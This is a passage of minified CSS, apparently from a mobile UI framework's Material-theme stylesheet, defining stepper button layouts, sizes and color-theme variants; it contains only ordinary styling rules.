.range-knob-label:before{background-color:#000}.stepper{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch}.stepper-button,.stepper-button-minus,.stepper-button-plus{text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;cursor:pointer}.stepper-button .icon,.stepper-button-minus .icon,.stepper-button-plus .icon{pointer-events:none}.stepper-value{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.stepper-input-wrap,.stepper-value{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;text-align:center}.stepper-button-minus,.stepper-button-plus{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.stepper-button-minus:after,.stepper-button-minus:before,.stepper-button-plus:after,.stepper-button-plus:before{content:'';position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.stepper-button-minus:after,.stepper-button-plus:after{width:15px;height:2px}.stepper-button-plus:before{height:15px;width:2px}.stepper .stepper-input-wrap input,.stepper .stepper-value{width:45px}.md .stepper{height:36px}.md .stepper-button,.md .stepper-button-minus,.md .stepper-button-plus{border:2px solid #2196f3;color:#2196f3;line-height:34px;height:36px;width:40px;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.md .stepper-button+.stepper-button,.md .stepper-button+.stepper-button-minus,.md .stepper-button+.stepper-button-plus,.md .stepper-button-minus+.stepper-button,.md .stepper-button-minus+.stepper-button-minus,.md .stepper-button-minus+.stepper-button-plus,.md .stepper-button-plus+.stepper-button,.md .stepper-button-plus+.stepper-button-minus,.md .stepper-button-plus+.stepper-button-plus{border-right:none}.md .stepper-button-minus.active-state,.md .stepper-button-plus.active-state,.md .stepper-button.active-state{background:rgba(0,0,0,.1)}.md .stepper-button-minus:first-child,.md .stepper-button-plus:first-child,.md .stepper-button:first-child{border-radius:0 4px 4px 0}.md .stepper-button-minus:last-child,.md .stepper-button-plus:last-child,.md .stepper-button:last-child{border-radius:4px 0 0 4px}.md .stepper-button-minus:after,.md .stepper-button-minus:before,.md .stepper-button-plus:after,.md .stepper-button-plus:before{background:#2196f3}.md .stepper-input-wrap,.md .stepper-value{border-top:2px solid #2196f3;border-bottom:2px solid #2196f3}.md .stepper .stepper-input-wrap input,.md .stepper .stepper-value{color:#2196f3;font-size:14px;font-weight:500;text-align:center}.md .stepper .stepper-input-wrap input{height:100%}.md .stepper-fill .stepper-button,.md .stepper-fill .stepper-button-minus,.md .stepper-fill .stepper-button-plus,.md .stepper-fill-md .stepper-button,.md .stepper-fill-md .stepper-button-minus,.md .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff;border:none;line-height:36px}.md .stepper-fill .stepper-button-minus.active-state,.md .stepper-fill .stepper-button-plus.active-state,.md .stepper-fill .stepper-button.active-state,.md .stepper-fill-md .stepper-button-minus.active-state,.md .stepper-fill-md .stepper-button-plus.active-state,.md .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper-fill .stepper-button-minus:after,.md .stepper-fill .stepper-button-minus:before,.md .stepper-fill .stepper-button-plus:after,.md .stepper-fill .stepper-button-plus:before,.md .stepper-fill .stepper-button:after,.md .stepper-fill .stepper-button:before,.md .stepper-fill-md .stepper-button-minus:after,.md .stepper-fill-md .stepper-button-minus:before,.md .stepper-fill-md .stepper-button-plus:after,.md .stepper-fill-md .stepper-button-plus:before,.md .stepper-fill-md .stepper-button:after,.md .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper-fill .stepper-button+.stepper-button,.md .stepper-fill .stepper-button-minus+.stepper-button-plus,.md .stepper-fill-md .stepper-button+.stepper-button,.md .stepper-fill-md .stepper-button-minus+.stepper-button-plus{border-right:1px solid rgba(0,0,0,.1)}.md .stepper-fill-md.stepper-big .stepper-button,.md .stepper-fill-md.stepper-big .stepper-button-minus,.md .stepper-fill-md.stepper-big .stepper-button-plus,.md .stepper-fill-md.stepper-big-md .stepper-button,.md .stepper-fill-md.stepper-big-md .stepper-button-minus,.md .stepper-fill-md.stepper-big-md .stepper-button-plus,.md .stepper-fill.stepper-big .stepper-button,.md .stepper-fill.stepper-big .stepper-button-minus,.md .stepper-fill.stepper-big .stepper-button-plus,.md .stepper-fill.stepper-big-md .stepper-button,.md .stepper-fill.stepper-big-md .stepper-button-minus,.md .stepper-fill.stepper-big-md .stepper-button-plus{line-height:48px}.md .stepper-fill-md.stepper-small .stepper-button,.md .stepper-fill-md.stepper-small .stepper-button-minus,.md .stepper-fill-md.stepper-small .stepper-button-plus,.md .stepper-fill-md.stepper-small-md .stepper-button,.md .stepper-fill-md.stepper-small-md .stepper-button-minus,.md .stepper-fill-md.stepper-small-md .stepper-button-plus,.md .stepper-fill.stepper-small .stepper-button,.md .stepper-fill.stepper-small .stepper-button-minus,.md .stepper-fill.stepper-small .stepper-button-plus,.md .stepper-fill.stepper-small-md .stepper-button,.md .stepper-fill.stepper-small-md .stepper-button-minus,.md .stepper-fill.stepper-small-md .stepper-button-plus{line-height:28px}.md .stepper-small,.md .stepper-small-md{height:28px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus{height:28px;line-height:24px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small .stepper-input-wrap,.md .stepper-small .stepper-value,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus,.md .stepper-small-md .stepper-input-wrap,.md .stepper-small-md .stepper-value{border-width:2px}.md .stepper-big,.md .stepper-big-md{height:48px}.md .stepper-big .stepper-button,.md .stepper-big .stepper-button-minus,.md .stepper-big .stepper-button-plus,.md .stepper-big-md .stepper-button,.md .stepper-big-md .stepper-button-minus,.md .stepper-big-md .stepper-button-plus{height:48px;line-height:46px}.md .stepper-big .stepper-button-minus:first-child,.md .stepper-big .stepper-button-plus:first-child,.md .stepper-big .stepper-button:first-child,.md .stepper-big-md .stepper-button-minus:first-child,.md .stepper-big-md .stepper-button-plus:first-child,.md .stepper-big-md .stepper-button:first-child{border-radius:0 4px 4px 0}.md .stepper-big .stepper-button-minus:last-child,.md .stepper-big .stepper-button-plus:last-child,.md .stepper-big .stepper-button:last-child,.md .stepper-big-md .stepper-button-minus:last-child,.md .stepper-big-md .stepper-button-plus:last-child,.md .stepper-big-md .stepper-button:last-child{border-radius:4px 0 0 4px}.md .stepper-round .stepper-button-minus:first-child,.md .stepper-round .stepper-button-plus:first-child,.md .stepper-round .stepper-button:first-child,.md .stepper-round-md .stepper-button-minus:first-child,.md .stepper-round-md .stepper-button-plus:first-child,.md .stepper-round-md .stepper-button:first-child{border-radius:0 36px 36px 0}.md .stepper-round .stepper-button-minus:last-child,.md .stepper-round .stepper-button-plus:last-child,.md .stepper-round .stepper-button:last-child,.md .stepper-round-md .stepper-button-minus:last-child,.md .stepper-round-md .stepper-button-plus:last-child,.md .stepper-round-md .stepper-button:last-child{border-radius:36px 0 0 36px}.md .stepper-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);border-radius:4px}.md .stepper-raised.stepper-big,.md .stepper-raised.stepper-big-md{border-radius:4px}.md .stepper-raised.stepper-round,.md .stepper-raised.stepper-round-md{border-radius:36px}.md .stepper-raised .stepper-input-wrap,.md .stepper-raised .stepper-value{border:none}.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap,.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value{border-left:1px solid rgba(0,0,0,.1);border-right:1px solid rgba(0,0,0,.1)}.md .stepper-raised .stepper-button,.md .stepper-raised .stepper-button-minus,.md .stepper-raised .stepper-button-plus{border:none}.md .stepper-raised .stepper-button+.stepper-button,.md .stepper-raised .stepper-button-minus+.stepper-button-plus{border-right:1px solid rgba(0,0,0,.1)}.md .color-theme-red .stepper-button,.md .color-theme-red .stepper-button-minus,.md .color-theme-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .color-theme-red .stepper-button-minus:after,.md .color-theme-red .stepper-button-minus:before,.md .color-theme-red .stepper-button-plus:after,.md .color-theme-red .stepper-button-plus:before{background:#f44336}.md .color-theme-red .stepper-input-wrap,.md .color-theme-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .color-theme-red .stepper-value{color:#f44336}.md .color-theme-red .stepper .stepper-input-wrap input{color:#f44336}.md .color-theme-red .stepper-fill .stepper-button,.md .color-theme-red .stepper-fill .stepper-button-minus,.md .color-theme-red .stepper-fill .stepper-button-plus,.md .color-theme-red .stepper-fill-md .stepper-button,.md .color-theme-red .stepper-fill-md .stepper-button-minus,.md .color-theme-red .stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .color-theme-red .stepper-fill .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill .stepper-button.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .color-theme-red .stepper-fill .stepper-button-minus:after,.md .color-theme-red .stepper-fill .stepper-button-minus:before,.md .color-theme-red .stepper-fill .stepper-button-plus:after,.md .color-theme-red .stepper-fill .stepper-button-plus:before,.md .color-theme-red .stepper-fill .stepper-button:after,.md .color-theme-red .stepper-fill .stepper-button:before,.md .color-theme-red .stepper-fill-md .stepper-button-minus:after,.md .color-theme-red .stepper-fill-md .stepper-button-minus:before,.md .color-theme-red .stepper-fill-md .stepper-button-plus:after,.md .color-theme-red .stepper-fill-md .stepper-button-plus:before,.md .color-theme-red .stepper-fill-md .stepper-button:after,.md .color-theme-red .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-green .stepper-button,.md .color-theme-green .stepper-button-minus,.md .color-theme-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .color-theme-green .stepper-button-minus:after,.md .color-theme-green .stepper-button-minus:before,.md .color-theme-green .stepper-button-plus:after,.md .color-theme-green .stepper-button-plus:before{background:#4caf50}.md .color-theme-green .stepper-input-wrap,.md .color-theme-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .color-theme-green .stepper-value{color:#4caf50}.md .color-theme-green .stepper .stepper-input-wrap input{color:#4caf50}.md .color-theme-green .stepper-fill .stepper-button,.md .color-theme-green .stepper-fill .stepper-button-minus,.md .color-theme-green .stepper-fill .stepper-button-plus,.md .color-theme-green .stepper-fill-md .stepper-button,.md .color-theme-green .stepper-fill-md .stepper-button-minus,.md .color-theme-green .stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .color-theme-green .stepper-fill .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill .stepper-button.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button.active-state{background:#409343}.md .color-theme-green .stepper-fill .stepper-button-minus:after,.md .color-theme-green .stepper-fill .stepper-button-minus:before,.md .color-theme-green .stepper-fill .stepper-button-plus:after,.md .color-theme-green .stepper-fill .stepper-button-plus:before,.md .color-theme-green .stepper-fill .stepper-button:after,.md .color-theme-green .stepper-fill .stepper-button:before,.md .color-theme-green .stepper-fill-md .stepper-button-minus:after,.md .color-theme-green .stepper-fill-md .stepper-button-minus:before,.md .color-theme-green .stepper-fill-md .stepper-button-plus:after,.md .color-theme-green .stepper-fill-md .stepper-button-plus:before,.md .color-theme-green .stepper-fill-md .stepper-button:after,.md .color-theme-green .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-blue .stepper-button,.md .color-theme-blue .stepper-button-minus,.md .color-theme-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .color-theme-blue .stepper-button-minus:after,.md .color-theme-blue .stepper-button-minus:before,.md .color-theme-blue .stepper-button-plus:after,.md .color-theme-blue .stepper-button-plus:before{background:#2196f3}.md .color-theme-blue .stepper-input-wrap,.md .color-theme-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .color-theme-blue .stepper-value{color:#2196f3}.md .color-theme-blue .stepper .stepper-input-wrap input{color:#2196f3}.md .color-theme-blue .stepper-fill .stepper-button,.md .color-theme-blue .stepper-fill .stepper-button-minus,.md .color-theme-blue .stepper-fill .stepper-button-plus,.md .color-theme-blue .stepper-fill-md .stepper-button,.md .color-theme-blue .stepper-fill-md .stepper-button-minus,.md .color-theme-blue .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill .stepper-button.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .color-theme-blue .stepper-fill .stepper-button-minus:after,.md .color-theme-blue .stepper-fill .stepper-button-minus:before,.md .color-theme-blue .stepper-fill .stepper-button-plus:after,.md .color-theme-blue .stepper-fill .stepper-button-plus:before,.md .color-theme-blue .stepper-fill .stepper-button:after,.md .color-theme-blue .stepper-fill .stepper-button:before,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before,.md .color-theme-blue .stepper-fill-md .stepper-button:after,.md .color-theme-blue .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-pink .stepper-button,.md .color-theme-pink .stepper-button-minus,.md .color-theme-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .color-theme-pink .stepper-button-minus:after,.md .color-theme-pink .stepper-button-minus:before,.md .color-theme-pink .stepper-button-plus:after,.md .color-theme-pink .stepper-button-plus:before{background:#e91e63}.md .color-theme-pink .stepper-input-wrap,.md .color-theme-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .color-theme-pink .stepper-value{color:#e91e63}.md .color-theme-pink .stepper .stepper-input-wrap input{color:#e91e63}.md .color-theme-pink .stepper-fill .stepper-button,.md .color-theme-pink .stepper-fill .stepper-button-minus,.md .color-theme-pink .stepper-fill .stepper-button-plus,.md .color-theme-pink .stepper-fill-md .stepper-button,.md .color-theme-pink .stepper-fill-md .stepper-button-minus,.md .color-theme-pink .stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill .stepper-button.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .color-theme-pink .stepper-fill .stepper-button-minus:after,.md .color-theme-pink .stepper-fill .stepper-button-minus:before,.md .color-theme-pink .stepper-fill .stepper-button-plus:after,.md .color-theme-pink .stepper-fill .stepper-button-plus:before,.md .color-theme-pink .stepper-fill .stepper-button:after,.md .color-theme-pink .stepper-fill .stepper-button:before,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before,.md .color-theme-pink .stepper-fill-md .stepper-button:after,.md .color-theme-pink .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-yellow .stepper-button,.md .color-theme-yellow .stepper-button-minus,.md .color-theme-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .color-theme-yellow .stepper-button-minus:after,.md .color-theme-yellow .stepper-button-minus:before,.md .color-theme-yellow .stepper-button-plus:after,.md .color-theme-yellow .stepper-button-plus:before{background:#ffeb3b}.md .color-theme-yellow .stepper-input-wrap,.md .color-theme-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .color-theme-yellow .stepper-value{color:#ffeb3b}.md .color-theme-yellow .stepper .stepper-input-wrap input{color:#ffeb3b}.md .color-theme-yellow .stepper-fill .stepper-button,.md .color-theme-yellow .stepper-fill .stepper-button-minus,.md .color-theme-yellow .stepper-fill .stepper-button-plus,.md .color-theme-yellow .stepper-fill-md .stepper-button,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .color-theme-yellow .stepper-fill .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill .stepper-button:after,.md .color-theme-yellow .stepper-fill .stepper-button:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button:after,.md .color-theme-yellow .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-orange .stepper-button,.md .color-theme-orange .stepper-button-minus,.md .color-theme-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .color-theme-orange .stepper-button-minus:after,.md .color-theme-orange .stepper-button-minus:before,.md .color-theme-orange .stepper-button-plus:after,.md .color-theme-orange .stepper-button-plus:before{background:#ff9800}.md .color-theme-orange .stepper-input-wrap,.md .color-theme-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .color-theme-orange .stepper-value{color:#ff9800}.md .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9800}.md .color-theme-orange .stepper-fill .stepper-button,.md .color-theme-orange .stepper-fill .stepper-button-minus,.md .color-theme-orange .stepper-fill .stepper-button-plus,.md .color-theme-orange .stepper-fill-md .stepper-button,.md .color-theme-orange .stepper-fill-md .stepper-button-minus,.md .color-theme-orange .stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill .stepper-button.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button.active-state{background:#d68000}.md .color-theme-orange .stepper-fill .stepper-button-minus:after,.md .color-theme-orange .stepper-fill .stepper-button-minus:before,.md .color-theme-orange .stepper-fill .stepper-button-plus:after,.md .color-theme-orange .stepper-fill .stepper-button-plus:before,.md .color-theme-orange .stepper-fill .stepper-button:after,.md .color-theme-orange .stepper-fill .stepper-button:before,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before,.md .color-theme-orange .stepper-fill-md .stepper-button:after,.md .color-theme-orange .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-gray .stepper-button,.md .color-theme-gray .stepper-button-minus,.md .color-theme-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .color-theme-gray .stepper-button-minus:after,.md .color-theme-gray .stepper-button-minus:before,.md .color-theme-gray .stepper-button-plus:after,.md .color-theme-gray .stepper-button-plus:before{background:#9e9e9e}.md .color-theme-gray .stepper-input-wrap,.md .color-theme-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .color-theme-gray .stepper-value{color:#9e9e9e}.md .color-theme-gray .stepper .stepper-input-wrap input{color:#9e9e9e}.md .color-theme-gray .stepper-fill .stepper-button,.md .color-theme-gray .stepper-fill .stepper-button-minus,.md .color-theme-gray .stepper-fill .stepper-button-plus,.md .color-theme-gray .stepper-fill-md .stepper-button,.md .color-theme-gray .stepper-fill-md .stepper-button-minus,.md .color-theme-gray .stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill .stepper-button.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .color-theme-gray .stepper-fill .stepper-button-minus:after,.md .color-theme-gray .stepper-fill .stepper-button-minus:before,.md .color-theme-gray .stepper-fill .stepper-button-plus:after,.md .color-theme-gray .stepper-fill .stepper-button-plus:before,.md .color-theme-gray .stepper-fill .stepper-button:after,.md .color-theme-gray .stepper-fill .stepper-button:before,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before,.md .color-theme-gray .stepper-fill-md .stepper-button:after,.md .color-theme-gray .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-white .stepper-button,.md .color-theme-white .stepper-button-minus,.md .color-theme-white .stepper-button-plus{border-color:#fff;color:#fff}.md .color-theme-white .stepper-button-minus:after,.md .color-theme-white .stepper-button-minus:before,.md .color-theme-white .stepper-button-plus:after,.md .color-theme-white .stepper-button-plus:before{background:#fff}.md .color-theme-white .stepper-input-wrap,.md .color-theme-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .color-theme-white .stepper-value{color:#fff}.md .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.md .color-theme-white .stepper-fill .stepper-button,.md .color-theme-white .stepper-fill .stepper-button-minus,.md .color-theme-white .stepper-fill .stepper-button-plus,.md .color-theme-white .stepper-fill-md .stepper-button,.md .color-theme-white .stepper-fill-md .stepper-button-minus,.md .color-theme-white .stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .color-theme-white .stepper-fill .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill .stepper-button.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .color-theme-white .stepper-fill .stepper-button-minus:after,.md .color-theme-white .stepper-fill .stepper-button-minus:before,.md .color-theme-white .stepper-fill .stepper-button-plus:after,.md .color-theme-white .stepper-fill .stepper-button-plus:before,.md .color-theme-white .stepper-fill .stepper-button:after,.md .color-theme-white .stepper-fill .stepper-button:before,.md .color-theme-white .stepper-fill-md .stepper-button-minus:after,.md .color-theme-white .stepper-fill-md .stepper-button-minus:before,.md .color-theme-white .stepper-fill-md .stepper-button-plus:after,.md .color-theme-white .stepper-fill-md .stepper-button-plus:before,.md .color-theme-white .stepper-fill-md .stepper-button:after,.md .color-theme-white .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-black .stepper-button,.md .color-theme-black .stepper-button-minus,.md .color-theme-black .stepper-button-plus{border-color:#000;color:#000}.md .color-theme-black .stepper-button-minus:after,.md .color-theme-black .stepper-button-minus:before,.md .color-theme-black .stepper-button-plus:after,.md .color-theme-black .stepper-button-plus:before{background:#000}.md .color-theme-black .stepper-input-wrap,.md .color-theme-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .color-theme-black .stepper-value{color:#000}.md .color-theme-black .stepper .stepper-input-wrap input{color:#000}.md .color-theme-black .stepper-fill .stepper-button,.md .color-theme-black .stepper-fill .stepper-button-minus,.md .color-theme-black .stepper-fill .stepper-button-plus,.md .color-theme-black .stepper-fill-md .stepper-button,.md .color-theme-black .stepper-fill-md .stepper-button-minus,.md .color-theme-black .stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .color-theme-black .stepper-fill .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill .stepper-button.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button.active-state{background:#000}.md .color-theme-black .stepper-fill .stepper-button-minus:after,.md .color-theme-black .stepper-fill .stepper-button-minus:before,.md .color-theme-black .stepper-fill .stepper-button-plus:after,.md .color-theme-black .stepper-fill .stepper-button-plus:before,.md .color-theme-black .stepper-fill .stepper-button:after,.md .color-theme-black .stepper-fill .stepper-button:before,.md .color-theme-black .stepper-fill-md .stepper-button-minus:after,.md .color-theme-black .stepper-fill-md .stepper-button-minus:before,.md .color-theme-black .stepper-fill-md .stepper-button-plus:after,.md .color-theme-black .stepper-fill-md .stepper-button-plus:before,.md .color-theme-black .stepper-fill-md .stepper-button:after,.md .color-theme-black .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-red .stepper-button,.md .stepper.color-red .stepper-button-minus,.md .stepper.color-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .stepper.color-red .stepper-button-minus:after,.md .stepper.color-red .stepper-button-minus:before,.md .stepper.color-red .stepper-button-plus:after,.md .stepper.color-red .stepper-button-plus:before{background:#f44336}.md .stepper.color-red .stepper-input-wrap,.md .stepper.color-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .stepper.color-red .stepper-value{color:#f44336}.md .stepper.color-red .stepper-input-wrap input{color:#f44336}.md .stepper.color-red.stepper-fill .stepper-button,.md .stepper.color-red.stepper-fill .stepper-button-minus,.md .stepper.color-red.stepper-fill .stepper-button-plus,.md .stepper.color-red.stepper-fill-md .stepper-button,.md .stepper.color-red.stepper-fill-md .stepper-button-minus,.md .stepper.color-red.stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill .stepper-button.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .stepper.color-red.stepper-fill .stepper-button-minus:after,.md .stepper.color-red.stepper-fill .stepper-button-minus:before,.md .stepper.color-red.stepper-fill .stepper-button-plus:after,.md .stepper.color-red.stepper-fill .stepper-button-plus:before,.md .stepper.color-red.stepper-fill .stepper-button:after,.md .stepper.color-red.stepper-fill .stepper-button:before,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-red.stepper-fill-md .stepper-button:after,.md .stepper.color-red.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-green .stepper-button,.md .stepper.color-green .stepper-button-minus,.md .stepper.color-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .stepper.color-green .stepper-button-minus:after,.md .stepper.color-green .stepper-button-minus:before,.md .stepper.color-green .stepper-button-plus:after,.md .stepper.color-green .stepper-button-plus:before{background:#4caf50}.md .stepper.color-green .stepper-input-wrap,.md .stepper.color-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .stepper.color-green .stepper-value{color:#4caf50}.md .stepper.color-green .stepper-input-wrap input{color:#4caf50}.md .stepper.color-green.stepper-fill .stepper-button,.md .stepper.color-green.stepper-fill .stepper-button-minus,.md .stepper.color-green.stepper-fill .stepper-button-plus,.md .stepper.color-green.stepper-fill-md .stepper-button,.md .stepper.color-green.stepper-fill-md .stepper-button-minus,.md .stepper.color-green.stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md 